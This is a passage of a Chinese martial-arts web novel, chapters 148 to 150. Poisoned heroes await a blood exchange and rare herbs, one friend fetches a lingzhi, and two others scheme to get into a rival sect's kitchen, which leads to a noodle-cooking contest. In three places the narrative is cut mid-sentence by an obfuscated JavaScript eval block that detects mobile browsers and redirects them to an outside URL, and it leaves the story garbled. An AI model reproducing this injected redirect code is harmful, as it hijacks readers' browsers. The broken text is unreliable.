三人都倒在地上,杜星几乎把两盘子菜都吃光了,所以很快他的嘴角流出汩汩鲜血。临死前,他躺在那里望着映雪,眼角缓缓留下了眼泪。 叶阳晨同样没有了任何动静,映雪担心极了,她用尽浑身力气爬了过去,将手指伸到叶阳晨的鼻子前,发现鼻息尚存,映雪含着热泪笑了。她忍住鼻酸,拿出一粒“醒刻”,轻轻扒开叶阳晨的嘴唇塞了进去。“醒刻”能延缓毒药在人的体内蔓延,但这个药只能给中毒者赢得一点点救治的时间罢了,并不能让毒药永久停止发作。 药给叶阳晨喂下去后,映雪心里稍稍松了口气,不过她已经喊不出声音了,也只能等着兄弟姐妹们发现。映雪因为在端起酒杯时就发现了杜星下毒,所以她即使干了那杯酒,也没有把酒完全喝下去,这才中毒不够深,意识才清醒这么久。 他们师兄妹聚会,十二将星其他人自然不会来打扰他们的。都是江湖儿女,就是喝酒喝个通宵也是常有的事,所以大家都没有第一时间发现阳晨和映雪出了事。还是第二天芷萱发现映雪一宿都没有回来睡觉,这才去了叶阳晨的军帐。 148. 第一百四十八章 经过一夜,杜星早就断了气,叶阳晨也是昏迷不醒的,只有映雪在芷萱的喊叫声中慢慢睁开双眼。 芷萱红着眼眶,急切道:“小雪,你和哥哥怎么会中毒的?” “毒是杜星下的,杜星是那海派来的,为的就是…毒死晨晨哥。”映雪虚弱无力,嗓音黯哑道,“萱萱,你仔细…听我说,我只有力气说一遍。” “好,你说,我会认真听。” “中毒的详情…我目前没空告诉你。现在当务之急是解毒,所以你要牢记我教你的解毒方法。” 芷萱眉头紧蹙点着头,看映雪的眼神又多了几分郑重。 “晨晨哥和我都是中了蒙古人千机散的毒,解这种毒需要换血才行。输血和中毒的人都要用刀把掌心割开一道伤口,然后两人的手掌相抵进行运功,一天一夜后,换血才算完成。” 芷萱听完便拿出腰间的匕首要割自己的手掌,“好,那我现在就给你和我哥输血。” 映雪轻轻摇着头,声音低沉,“不是谁的血都可以的。” “那怎么知道谁的血可以?” “先取一些晨晨哥的血到碗里,加上几滴“雪融”,再去找其他人的血来试,将另一个人的血也滴到碗里,如果两人的血在雪融的作用下颜色变浅,那么找的那个人的血便是合适的。” 芷萱追问道:“那如果没有找到合适的人给你们输血呢?” 映雪嫣然浅笑,“那我和晨晨哥也只能听天由命了,到时不必强求。” 芷萱站起身正要去叫来所有人,映雪声音低沉道:“萱萱,等等。” 芷萱回过头,再次蹲下身来,“还有什么吗?” 温映雪继续说道:“还有,在换血前,中毒者还要服下晶泉灵芝和玉雪红参,以防止血液不融导致气血衰竭。” “灵芝与红参在哪儿有?”芷萱说话越来越不淡定。 “晶泉灵芝传闻在牧云的云鹤帮有一棵,据说是镇帮之宝,这你要问问牧云才行。” “不用问他,我要的话他还敢不给啊?”芷萱复问,“那玉雪红参呢?” 映雪面露为难之色,“这个就比较麻烦了,玉雪红参在天玄教。”温映雪医毒双绝,自然对天下名草奇药了如指掌。 “你说的天玄教可是安然出生的那个天玄教?” “正是。所以如果想拿到这个红参,就要闯一闯天玄教了。”说完这句话,映雪没有了力气,也没有了知觉,她的眼睛缓缓闭上,人也又晕了过去。 芷萱不敢再耽搁时间,连忙跑出了军帐。 少时,十二将星其他人也冲进帐篷。见到叶阳晨与温映雪中毒躺在那里,全体人都怔楞在原地,旋即是震惊、害怕、忧心。在场的,男的眉头紧锁,女的泪流满面,每个人的心中都如被乌云笼罩一般,阴郁不散。 这些人都是叶阳晨和温映雪的生死兄弟和骨肉亲人,大家对两人的那份情谊重如山,深似海,所有人都承受不住两人万一有个闪失就醒不过来的可能。于是他们一遍又一遍地在心里对自己说:“阳晨和小雪都会没事的,一定会的。” 慕瑶见叶阳晨这样,眼泪大颗大颗地往下掉,她从来没有像此时这么恐慌无助。只是这么多人在场,慕瑶不敢哭出声。从前慕瑶总认为叶阳晨是神通广大、无所不能的,可她忘记了叶阳晨也是血肉之躯,也会中毒也会死。过去,无论叶阳晨多么顽劣、霸道,但至少人是好好地站在那里,而现在叶阳晨却不知能不能醒来,慕瑶忧惧万分。 成年人和小孩子的区别就在于,成年人即使再难过,也可以很好地控制自己的情绪,可小孩子不行。 自从安然进帐,看见叶阳晨和温映雪一动不动地躺在那里,她就慌到崩溃了。当无论她怎么叫怎么喊,两人都没有任何反应,安然失声痛哭,哭得撕心裂肺,“哥哥,姐姐,你们都怎么了?你们不要睡了,你们要起来陪安安啦。” 安然哭了好久,最后诗怡把她抱起来,骗她说哥哥姐姐喝多了酒睡着了,安然这才半信半疑地停住了哭声。接下来几天,大家都尽量不让安然进大帐,以免她再难过。 众兄弟把叶阳晨和温映雪抬到榻上,杜星则被丢出帐去。 芷萱先把凌牧云拉到一旁,见她对自己举止比平常亲密了些,凌牧云先开口问道:“什么事?神神秘秘的。” 芷萱眉头微蹙着:“我向你要一件东西,不知你给不给?” “你这口气哪像是找别人要东西啊?分明像是抢东西?” “少废话,你给不给?” “我都不知道你要什么,我如何给?” 芷萱强势道:“不管,你就要答应我。” 凌牧云一脸无奈,“好吧,我怕你了。别人要嘛,不一定给。你要嘛,要什么给什么。” 芷萱知道自己要的晶泉灵芝对凌牧云的意义非凡,听凌牧云对自己如此慷慨,她反而不好意思说出口了。 凌牧云展颜一笑,“怎么不说话了?到底什么东西?我还从来没见过你如此纠结。” 毕竟救人要紧,芷萱抿嘴说道:“我哥和小雪解毒前需要先服用晶泉灵芝,传说云鹤帮有,真的有吗?” 凌牧云面无表情道:“有是有,但是我爹临死前说过,那个灵芝只能交给我未来的媳妇和儿子。” “是这样啊?”见凌牧云这么一本正经说着,芷萱还以为凌牧云父亲的遗嘱真是这样说的。这么贵重的东西,给自己的儿媳,这也在情理上说得通。 芷萱纠结道:“那大不了…我将来……” 凌牧云噗嗤一笑,“我逗你的,你还真信了?” 芷萱刚刚提起的心骤降,她用眼睛狠狠地瞪着凌牧云,“都什么时候了?你还有心情开玩笑?” 凌牧云正色道:“我没有完全开玩笑,晶泉灵芝确实是云鹤帮的镇帮之宝,我爹也确实说了只能给媳妇的话。我刚才说逗你,只是说为了救阳晨和小雪,我义不容辞,只能违背父亲遗言了。” 芷萱心想:“也不能说为了得到灵芝就嫁给他啊,可这个是人家”左右为难之下,她只好偏过头去默不作声。 凌牧云打破尴尬,“事不宜迟,我现在就出发了。” “那你们多久能回来?” “快的话,五六天左右吧。” 五六天就意味着昼夜兼程,芷萱有些心疼牧云,“这里离霁月湖近两千里,能行吗?” 凌牧云异常严肃道:“不行也得行,晚一天就危险一天,我现在就启程。” 芷萱的眼波里含着一丝关心,“那你注意安全,路上要小心。” “你这是第一次关心我,你要是担心我的话,就给个离别的拥抱安慰我一下。”凌牧云翩翩君子,温雅如玉,从前很少开玩笑,自从待在胡枫身边,他的性格都稍稍有了改变。十二个兄弟姐妹中,胡枫爱开玩笑的性格,对凌牧云影响最深。平时大家聚在一起,胡哥开遍所有人的玩笑,他主要负责逗哏,凌牧云就在一旁恰到好处地捧哏,两人配合的那叫一个默契。 凌牧云突如其来索要拥抱,芷萱本应该骂凌牧云“轻浮”,或者至少给凌牧云摆个脸色看看,可凌牧云从前并未开过这种玩笑,芷萱没有心里准备,一时乱了方寸,鬼使神差地冒了一句:“不要胡闹了,这么多兄弟看着呢。” 凌牧云见到这样的芷萱,一时情不自禁握住她的手,芷萱不知怎么了,竟没有第一时间挣脱。 这时,不远处的霍玉见芷萱和牧云聊着什么,心里有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14258016|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些许担心,便主动走了过去,“芷萱,牧云,我能帮上什么忙吗?” 芷萱连忙抽回自己的手,如实道:“牧云要回趟家,取解毒的灵芝。” 霍玉没有半分迟疑,“那我和牧云一起吧,路上也有个照应。”小雪有事,霍玉也想出一份力。 芷萱看向凌牧云,“这样也好,你身边有个伴,我也放心一些。” 就这样,两兄弟立即出发了。 晶泉灵芝的事解决了,玉雪红参还没有个着落。芷萱在帐内直言道:“现在最棘手的事,还是我们要去天玄教盗取玉雪红参,这灵药也是解毒不可少的。” 既然是去偷东西,那么胡枫自然是义不容辞的,“我去吧,不过还是要试着问问安然那东西可能放在哪儿,这样找得快一点。” 芷萱点头,“嗯,那就一会儿去问问安然。” 江雨宁憨直道:“这次,我也跟着胡枫去吧,盗东西我不在行,但是鼻子还灵一些,到时候鉴别是不是红参,用得着我的。”做饭的、采药的,鼻子通常都比别人敏感一些。 丁鹏和小六也想要同去,胡枫笑道:“去盗东西的话,人越多越容易暴露,就让宁哥一人跟我同去就好了。你们两人留在家里,这边还有很多事需要做的。” 事不宜迟,江雨宁与胡枫走出帐去。临行前,两人问了问安然那玉雪红参可能放在天玄教什么地方,就匆匆上路了。 解药的事都落实了,接下来就是找合适的血型了。芷萱把滴血的方法告诉大家,众人分头忙了起来。 雨宁大哥不在,小六去厨房取来了两个碗,丁鹏轻轻割伤了叶阳晨和温映雪的腕部,血一滴滴地淌了出来。 诗怡建议找血的配型,先从自己的兄弟开始找。诗怡解释着:“一来,疗毒这事还是自己人方便些。二来,阳晨哥中毒的事暂时尽量瞒着,如果此事在骁扬军传开,不仅会动摇军心,还极易被外传。要是让那海知道阳晨哥已中毒,又会招来战事。” 大家一听,也觉得诗怡考虑得有道理。只是听诗怡说到动摇军心,每个人还是有一种挫败感,这还没有出国征战,主帅却中毒了。这算是自骁扬军成军以来,遭受到的最大败绩,还不是那种真刀真枪的失败。他们心里知道,如果这次跨不过这道难关,那么骁扬军也不必再存在下去了。 为照顾女孩,先是七个男的来验血,凌牧云、胡枫他们四人走时,芷萱也是让他们先割了手指血的,结果男人中没有一个合格。 轮到女孩滴血时,芷萱首当其冲,可还是不合适。最后,当慕瑶的血滴入到盛有叶阳晨和温映雪血的碗里,只见两个碗里血的颜色渐渐变淡,越来越淡。 看到这一幕,所有人既欣喜又为难。喜的是慕瑶的血竟然合适,也算是有个保底的了。为难的是慕瑶要是给两个人换血,恐怕身体会撑不住。最终大家商量后,小六和丁鹏还是拿着碗去军营里寻找适配的血。将士们不知道把血滴到碗里是为了做什么,也无人敢多嘴问。 两天过去了,丁鹏和小六共找了五万将士去试,那场面异常壮观,可最后还是没有找到血液相配的人。他们不会知道,慕瑶前世是白兰仙草,所以她的血是万能血,能治万物生灵。 慕瑶主动说道:“不用再麻烦去找了,我自己可以的,我一定能救好他们两人。” 慕瑶的心情,他们也都是懂的,今天换做任何人血型合适,也都会义不容辞救人的,所以大家也不再多劝。 那两天,芷萱给慕瑶做了好多好吃的,提前补补身体以免过两天救人时亏血。 叶阳晨中毒的第三天,皮肤已经渐渐发黑。小雪中毒没那么深,但肤色也变得很差。众人都很担心,都在焦急地等着牧云和胡枫他们快点回来。 149. 第一百四十九章 牧云和霍玉每天只睡不到一个时辰,两人跑死了六匹马,用了两天便到了云鹤帮。到了帮里,牧云拿了晶泉灵芝,连水都没有喝一口就往回赶。第六天的傍晚,牧云和霍玉终于赶回了军营。 见凌牧云这么快就回来,芷萱心里充满感动和感激,看着他一脸疲态,又有些心疼。 晚上,芷萱想了想,还是去到凌牧云的帐篷,她觉得应该说些感谢的话,哪怕只是为了哥哥。芷萱站在帐篷的不远处,可就是羞于叫凌牧云的名字。她在那儿纠结了片刻,正巧碰到了丁鹏。 丁鹏怔愣一笑,“萱妹,你在这儿待着干什么?”说起来,丁鹏的生日只比芷萱大了一个月,他不喜欢叫芷萱大小姐什么的,两人在山寨时就以兄妹相称。 “我做什么要你管?你去把凌牧云帮我叫出来。”芷萱与丁鹏从小玩闹长大的,自然说起话来没有什么距离感。 “牧云连续赶了六日的路,已经累趴了,你就让他休息一会儿,明日再叫他吧。”丁鹏这话一半是与芷萱玩笑,一半是心疼牧云。“我不管,他又不是棉花做的,何至于出来与我说句话都做不到了?你别废话了,快去。” 帐子里,凌牧云都已经快睡着了,一听是芷萱叫自己,连忙翻下床走了出去。他见芷萱果真背着手站在那里,心里还是掀起澎湃的浪。看着凌牧云朝着自己缓缓走来,芷萱的眉眼微微低垂。 凌牧云来到芷萱的面前,温柔问道:“找我有事?” “没有事就不能来找你吗?那下次我就不来找你了。” “我不是这个意思,只是你从来没有主动来找过我,更没有晚上来找我。” “你记性真差,我上次还你灵云弓不就是主动去找的你?也是晚上啊。” “你晚上都没怎么吃东西啊?”芷萱继续问着。 “今天没什么胃口。” 接下来,两人相继沉默下来,四周寂静,只能偶尔听到刮过的风,还有不知从哪个帐篷里传出的笑声。 芷萱觉得这样不说话氛围太过暧昧,便先打破平静,“我是想谢谢你这次灵芝的事。” 凌牧云深情望着芷萱,双眸如炬,犹如夜空中最亮的星,“你我之间还用说谢谢的话吗?” 芷萱心里一荡,“我的意思是替我哥谢谢你。” 凌牧云展颜一笑。 “你笑什么?” “如果是为了晨哥就更不用谢了,他不是你哥,是咱哥。” 听凌牧云那么一说,芷萱的脸微微发烫,她不照镜子也知道自己的脸红了,只是夜色深沉,凌牧云看不清晰罢了。芷萱轻声道:“脸皮真厚。” 凌牧云解释着:“我不叫哥叫什么?叫叶阳晨。” 似是有意,也似无意,芷萱觉得自己会错了意,就更加羞赧。生气之下,芷萱用拳头捶了凌牧云的肩膀一下。 凌牧云疼得“哎呦”一声,芷萱讶异,“怎么了?” “没怎么。” “少啰嗦,问你就说。” “回来的途中遇到两伙强盗,被一个盗贼的刀尖‘咬’了一口。” 芷萱更加惊诧,“什么强盗那么厉害能伤了你?” “我不是着急回来嘛,所以不能恋战,就大意了。” “那伤得重吗?” “不重,就是个小口子,只是你刚才正好打在那个位置上,才有点疼。” 芷萱咬了咬下唇,“要不我再帮你看看?上点金疮药?”如果映雪不是昏迷着,都是她给兄弟治伤。 凌牧云打趣着:“男女授受不亲,这不好吧?” 话音一落,芷萱的心里有点憋气,她心里想着:“还授受不亲呢?你抢走我身子时怎么跟强盗似的?真是混蛋。”只是这个秘密芷萱不能说出来。 芷萱越想越气,“我不说了,走了。” 望着芷萱的背影,牧云不知自己的话又怎么惹到这个丫头了,他不觉一笑,然后转身回了帐篷。 晶泉灵芝是拿回来了,可众人更担心胡哥那边进展是否顺利。天玄教离军营的距离只有营地去云鹤帮路程的一半,胡哥与宁哥应该几天前就已经到天玄教了。 天玄教在骅山山顶上,骅山上峰峦逶迤,树木葱茏,也是一块风水宝地。如果不是心系阳晨和小雪的安危,胡枫和江雨宁还真想仔细游览一番。登上山顶时,天还没有黑,他们两人等天完全黑下来,才潜入了天玄教。 按照安然所说,父亲安龙的“宝贝”大都放在丹房。可是安然没有说清楚的是,这个丹房就在他父亲从前住的承天殿内的暗门里,胡枫也是杀了一个教里的喽啰才打听到的。安龙被害死后,安然的叔叔安荣自然鸠占鹊巢,成了原来大殿的主人。这样一来,两人要想不惊动安龙就进入丹房是很难的。 本来胡枫和江雨宁还想使用迷香把安荣迷晕,然后再潜入殿内。可第一晚,他们探了一下情况,见安荣的殿外四周都是守卫的教众,粗略估计有几十人之多。而且昼夜如此,承天殿外每隔一个时辰就有轮班,胡枫他们根本无从下手。 这样守卫森严是因为安荣心知自己的这个教主之位来路不正,他担心安龙当初的死忠来寻仇,安荣一度夜里卧不安席,所以就让许许多多的教众来保护自己。 迷香的这个办法行不通,胡枫认为也属正常,毕竟安荣不是没有江湖经验的一般人物,不会那么大意,夜里入睡也不会没有防备。 在天玄教的第二日,胡枫和江雨宁一边在承天殿周围探察,一边继续想其他计策。第三日依旧如此,他们一直在苦思办法。到了第四日,晨光熹微之时,雨宁大哥突然大叫了一声,“有了。” 江雨宁这一声喊,躺在草窠里的胡枫瞬间惊醒,旋即坐了起来,他还以为是天玄教的人来了呢,手立刻按在铁笛上。可一看只有江雨宁坐在那儿憨直的傻笑,顿时如泄了气的皮球,复又躺了下去。 胡枫仰头看天长舒一口气,“宁哥,你能不能小点声?一会儿把天玄教的人喊来了,咱俩就得下山了。” 江雨宁嗓音粗犷,“兄弟,我是说我想到办法了?” 胡枫眼眸一亮,“什么办法?说来听听。” “昨日我们俩都观察过,安荣一日三餐都会在膳厅用饭,唯独夜里翻书累了会在屋中吃一些宵夜,而且宵夜都由厨房下人送进他的屋中。约莫一盏茶的时间,安荣吃完宵夜后,下人又会把食盒那些拎出来,这中间的空当就是我们的机会。” “什么机会?你说的这些我都知道。” 江雨宁咧嘴一笑,“我们就把蒙汗药下在安荣的宵夜里,你可以假扮下人把宵夜送进去。安荣被迷晕后,你便可趁机进入丹房找玉雪红参。一盏茶的时间对你来说应该足够了,你找到红参后,就可大大方方,神不知鬼不觉地拎着食盒走出来。而且又是夜里,安荣被迷晕了也会被当成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14284893|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是睡着了似的,根本不会有人发觉。” 听了江雨宁的计策,胡枫一拍大腿,兴奋一笑,“宁哥,你可真是真人不露像啊!这种妙计你都想得出来,你还真是粗中有细啊!” 江雨宁被夸得不好意思,满脸通红的同时不自觉挠了挠头,“这不是被逼得没辙了嘛!就只有多抠抠脑袋了。” 胡枫突然敛住笑容,表情一怔,“不对,不对啊!宁哥,问题的关键是,我们怎么把蒙汗药下到安荣的宵夜里?你觉得安荣在吃的东西上不会很小心吗?而且厨房重地,是我们轻易能进去的吗?” 江雨宁尴尬笑了笑,“我也知道这事没有十足的把握,但是总要试一试。我觉得我的机会在于我就是个厨子,我要打进这里的厨房内部。” “你打进厨房去?”胡枫依然难以置信。 “是啊。从前我找妹妹,曾在这一带待过一阵子,也熟悉这里人的饮食习惯,能做出他们本地人喜爱的佳肴来。” 胡枫苦笑,“还‘是啊’?是什么啊?我可提醒宁哥,我们的时间很宝贵,你必须在几日内成为这里的一名厨子才有戏。” 江雨宁憨声道:“我当然知道。”他虽然没有十足的把握,却是做了万全的准备的。 翌日,江雨宁扮成了送菜的,挑着两筐蔬菜走进了天玄教的厨房。 江雨宁刚走进厨房,一个胸毛茂密的矮胖厨子便走过来,蛮横道:“你是谁啊?” 江雨宁憨厚呆傻地笑着,“我来送菜。” “诶?宝子怎么没来?” 江雨宁反应极快,“哦,他病了让我来替他几日。” “可前几日他刚送过来很多,还没吃完。” “大哥,你也知道的,骅山的路不好走,你看我都挑来了,就把这些菜也留下吧。这些都是一些放得住的菜。” 那个矮胖厨子想了片刻道:“那就留下吧。” 江雨宁虽然力气大,但身材魁伟,挑了两大筐菜从山脚下一路赶着时间上山顶,还真有些累。他伸了伸腰,然后冲着矮胖厨子问道:“大哥,这挑菜的活还真不是人干的,真他娘的干够了。你们这儿的厨房还招不招人啊?我也来应招一下,行吗?” 江雨宁这么一说,不仅面前的这个矮胖厨子大笑出了声,厨房里忙活着的其他厨子也一起哄笑起来。 江雨宁不明所以,愣愣地问:“各位兄弟笑什么?我是说错了什么吗?” “你可知道我们这里不是谁都能来的?我们刁姐招工严苛得很,没点本事进不来我们这个厨房的。” “刁姐是谁?” 江雨宁这愣头愣脑的话一出口,又引得众人一阵捧腹大笑。大家笑这是哪来的傻小子、愣头青,什么情况都不了解就敢在这儿口出狂言说应招。 良久,笑声停下,矮胖厨子看江雨宁依然是不屑的笑,一副看怪物的表情,“连刁姐都不知道,还敢说要来我们膳房?臭小子,你听好了,刁姐是我们这里的厨娘庖官。” “哦,那就是说,我来应招,就要得到刁姐的认可才行,对吧?” 矮胖厨子一脸轻视,“大抵是这个意思吧。” 江雨宁信心满满,“好说,我去求求刁姐。” 这时,一个尖利妖媚的声音传来,“谁要应招啊?” 未见其人先闻其声,单单一句话,江雨宁便能听出那女子语气中泼辣劲带来的压迫感。 150. 第一百五十章 少时,从厨房后门走出一个体态风sao、肌白如玉的女子,她的头发像刺猬一般随意挽在头后,细长的柳叶挑眉之下是灵动双眸,清澈如星也寒光似水。她上身穿着米色粗布的窄衫披肩,里面的红绡抹胸微露,酥软春光也若隐若现,下身是高腰紧身米色百褶长裙。那刻骨风情撩人于无形,令人见之难忘。 仅从女子身上的强大气场,江雨宁就猜出来了,这个女子一定就是那些厨子口中说的刁姐。听他们这些大老爷们一口一个刁姐,江雨宁还以为这个刁姐年纪有多大。可见到本人,这个女孩看上去也就是桃李年华的样子。 每人都有自己的偏爱,男女之间也常有情人眼里出西施一说,不得不说,江雨宁第一眼见刁娆,就觉得她光彩照人。骁扬军里的四大女子都是倾城绝色,且各有千秋,但江雨宁今天见到面前这个女子,才第一次觉得世间确实存在美得不可方物一说。这并不是说刁娆的美胜过慕瑶她们,只是因为萝卜白菜各有所爱,刁娆那种微微侵略性的美貌更得雨宁大哥的心。 女子双眼盯着江雨宁,“我就是刁娆,还有就是你要应招啊?” 江雨宁看得两眼发直,听了刁娆的话才回神,磕磕巴巴道:“哦,大妹子,是我。” “少套什么近乎,谁是你大妹子?” 江雨宁搓着手道:“不好意思,我失言了。刁娆,我想在咱们厨房帮忙,能否行个方便?” 刁娆年龄虽不大,但是性格强势,行事干练,所以即使那些比她年龄大的,见到她也尊称一声刁姐,日子久了,她也习惯别人这么称呼她了。可偏偏江雨宁直呼自己的大名,她不由得神色一怔。只是刁娆没表现出来什么,毕竟叫什么是人家的自由,没道理强迫人叫自己一声姐的。 刁娆语气冷寒,“帮忙?你能帮什么忙?” “我切墩、洗菜、摘菜都行。实在不行,我去喂猪也可以的。”江雨宁以为挑些简单的活来做,说不定就可被招进来,他打的主意是先进来再说其他的。 刁娆冷哼一声,“你不是说可以切墩吗?那我就找个人跟你比一比,切得好再说后续,有问题吗?” “呃,没问题,你定吧。” “秃子,跟这个人玩一把。”话一说完,后厨那堆人中站出来一个光头。刁娆见江雨宁敢接招,便知这个人不会是半点身手没有的,所以她找的这个秃子是厨房里切菜切得最快最好的,当然了,不包括她自己在内。 刁娆再次看向江雨宁,语气冷淡,“三个土豆,两根黄瓜,一颗萝卜,全部切成丝,谁先切完算谁赢。” “好的,来吧。”江雨宁答应得很痛快,说完,自己就走了两步站到一个砧板前。 少顷,厨房里的粗使伙计把两份菜拿了过来,分别摆在江雨宁和秃子的身前。 江雨宁和秃子分别抄起菜刀,等着刁娆喊指令。 刁娆站在两人的侧面,这个位置方便观看两人切菜的速度。随着刁娆一声“可以开始了”,江雨宁和秃子几乎同时操起手中的刀。 江雨宁切几刀下去,就感觉出手中这把刀的刀刃有些钝。他知道,多半是厨房里的人偏向那个秃子,故意给了自己一把不太趁手的刀。 不过那些人也太小瞧江雨宁了,在做菜里面,切菜就是基本功。江雨宁的力气大,正好可以弥补刀刃不够锋利的弊端。 那个秃子菜切得也确实好,又快又细又均匀,可依旧被江雨宁的速度逼出了压力,心态也有些崩。 本来只是小小比试一下而已,输了也没什么,但是秃子怕给刁娆丢脸,所以不敢轻易输。而且平日他自诩是厨房里切菜切得最好的,很怕这次演砸了丢了面子。紧张之下,他额头上的汗珠渐渐多了起来。 只见江雨宁手中的刀上下起落,发出同频率“当当当”的声音。江雨宁越切越快,这把“钝刀”被他用得行云流水。在一旁的刁娆看在眼里,惊愕在心中,她从来没有见过切菜切得这么好的人,即使她亲自上场比试,也不敢轻言可以赢。 突然,江雨宁不疾不徐地把刀放在了砧板,他的菜全部切完了。而一旁的秃子还有小半个萝卜没有切完。比试结束,江雨宁以压倒性优势赢了。在场的所有人都在心里感叹江雨宁有点本事,开始对他刮目相看起来。 挑选的人比试输了,刁娆眉尖紧了紧,但却对江雨宁这个人多了几分“兴趣”。她看江雨宁的玩味眼神中,也多了一抹同行间的“惺惺相惜”。 江雨宁走到刁娆面前,“刁娆,我算是通过考核了吗?” “我得承认你的刀功确实不错,可你会这些就想让我收用你?真是太自不量力了。”刁娆欣赏江雨宁是一回事,可面子不能丢又是另一回事。她凡事争强要尖,更不肯在自己的老本行上落了下风的。 听到刁娆这样说,江雨宁不知所措,他本就不是能说会道之人,面对伶牙俐齿的刁娆,更只有捉襟见肘的份。只是刁娆说话有点“不守信用”,江雨宁还是在心里腹诽着:“既然赢了也不算赢,那叫我比试做什么?”只不过,现在他处在被动求人的位置上,不敢表露自己的不满。 刁娆隐隐看出江雨宁的不服气,于是继续说道:“并非我说话不算数,实话告诉你,在我这里帮厨的人也都是要会做菜的,所以你还要过了做菜这一关。”刁娆说话时全程没有一丝笑意,眼神还是那么咄咄逼人,让人不敢直视。 一听刁娆这样说,江雨宁放心笑出声,“啊!原来你说的是做饭这个,那我也会的。” 话音一落,大家都被江雨宁的憨傻劲逗得前仰后合。刁娆转过身,横眉怒扫,“笑什么笑,你们的皮子都痒痒了吗?手里当真没有活了吗?不愿意干活的可以卷铺盖走人,我这儿不养闲人。” 大家见刁娆发火了,都低下头忙自己的活去了。 刁娆重新看向江雨宁,“你会做饭?我想你可能有些误解,我说的做饭可不是做熟就行。” “我知道,还要好吃,就是美味佳肴那种。”江雨宁傻傻地接着话。 刁娆对面前这个愣头青、傻大个实在是有些来气,她强忍着闷气问道:“你能做出美味佳肴吗?” “应该可以的。”江雨宁没敢把话说得太满。 “那你就做个吃的。” “做得好吃就可以把我留下吗?”绕来绕去,江雨宁最关心的还是这个事。 刁娆被问得有些不耐烦,“你做完了我尝了后,如果勉强可以下咽,就有的商量。” 江雨宁一琢磨:“做得好吃才有商量,这也太被动了,相当于决定权还是在刁娆的手里。倘若菜明明好吃,刁娆就偏说不好吃,我又找谁说理去?”想到这些,江雨宁留了个心眼,“刁娆,我看这样,不如咱俩比试一下。我们做同样的东西,如果我做得比你好吃,你就要答应我的条件。否则,我二话不说,离开这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314626|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地方。”其实江雨宁也没把握能赢刁娆,只是他已经没有别的办法,而赢了刁娆又是更快更直接的办法。 江雨宁的话就像是在下战书,他一说完,厨房里所有人都惊掉了下巴。旋即,大多数人都在心里发笑,他们抱着看热闹的心态,等着看江雨宁出糗,等着看刁娆怎么收拾这个“自不量力”的人。 刁娆虽然争强好胜,可首先是清高,说不上为什么,她就是不太想与江雨宁比试。刁娆心想:“早知道会这样,当时就应该二话不说把这个人赶出去。”只是到了这个时候她已没有退路,要是这个时候不敢接招的话,以后她还怎么在这个膳厅服众呢? 刁娆盯着江雨宁看了半晌,最终冷漠道:“那好吧。” 听到刁娆答应了,江雨宁眼睛一亮,“真的?那我们是做个葫芦鸡,还是弄个烧三鲜?” 见江雨宁的那副“傻样”,刁娆差点没忍住笑了出来,她迅疾又板起脸,“不用那么麻烦了,姑奶奶没空陪你玩那么久,我们就做个面条吧?” “什么面条?油泼辣子面?” “那就这个油泼辣子面吧。” 江雨宁挠挠头,为难道:“是这样哈,我们做完了面,得有人评判我和你谁做得好吃。可是刁娆,你知道的,这里是你的主场,他们都会说你做得比我做得好吃,到时候这未免有失公平。” 刁娆听明白了江雨宁话里的意思,于是道:“那你觉得怎么样做才公平?” 江雨宁真怕自己再说下去的话,刁娆一生气就把自己轰出去,可是这场胜利对他来说太重要,他志在必得。踌躇片刻,江雨宁只好硬着头皮道:“还是让所有人都出去,厨房里就只有我和你,待面条做完了,再让他们进来品尝,这样就没有人知道哪碗是你做的,哪碗是我做的了。”说这些话时,江雨宁丝毫不敢看刁娆的眼睛,他觉得如果眼睛也能杀人的话,他都死一万次了。 刁娆的脸像结了寒霜一般,冲着那些厨子道:“你们都出去吧!没有我叫你们,都不准进来,更不准从门缝偷看。”刁娆很想赢,但也不会赢得不光明磊落。 待其他人都出去,刁娆与江雨宁开始各自做起面来。这边的人爱吃面食,所以每顿餐的主食必有面,所以面团是之前就揉好的,两人只需将它直接擀成面条就好。 刁娆的手很麻利,做起面来信手拈来,很快面条就做好了,就等着水烧开后下锅了。 这次比的不是速度,所以江雨宁不紧不慢地做着,每一步都细心,力求精益求精。他先是又用力把面团揉了很多遍,他力气本来就大,揉出的面比一般人更筋道。泼油的时候,江雨宁也很注意火候,他等油稍凉一些再泼了上去,而且是分两次淋油,这样面条上的辣椒粉便不会变糊变苦,更能恰到好处地释放辣椒的香气。 刁娆的面是先做好的,她就在一旁看江雨宁做面,她没想到的是这个看上去粗犷的汉子,做起吃的来,却是那般细致入微。这样一来,刁娆对江雨宁仅存的那一丝反感便全部消散了。 